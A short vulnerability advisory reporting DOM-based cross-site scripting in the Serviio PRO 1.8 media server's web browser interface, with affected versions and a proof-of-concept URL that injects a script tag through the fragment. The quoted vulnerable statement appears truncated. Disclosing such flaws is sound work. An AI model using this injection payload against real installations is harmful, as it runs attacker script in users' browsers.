Serviio PRO 1.8 DLNA Media Streaming Server (mediabrowser) DOM Based XSS

### Summary Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network. ### Description The application is vulnerable to a DOM-based cross-site scripting. Data is read from document.location and passed to document.write() via the following statement in the response: document.write(''); This can be exploited to execute arbitrary HTML and script code in a user's browser DOM in context of an affected site. ### Vendor Petr Nejedly | Six Lines Ltd - http://www.serviio.org ### Affected Version * 1.8.0.0 PRO * 1.7.1 * 1.7.0 * 1.6.1 ### Tested On * Restlet-Framework/2.2 * Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 * Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 * Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 ### PoC Request: ``` http://172.19.0.214:23424/mediabrowser/#/browse/V_F?title=Folders&b=Home&b=Video&bid=0"><script>alert("ZSL")</script> ``` Element response: ``` <base href="http://172.19.0.214:23424/mediabrowser/#/login?title=Folders&amp;b=Home&amp;b=Video&amp;bid=0%22%3E%3Cscript%3Ealert(%22ZSL%22)%3C%2Fscript%3E"> ```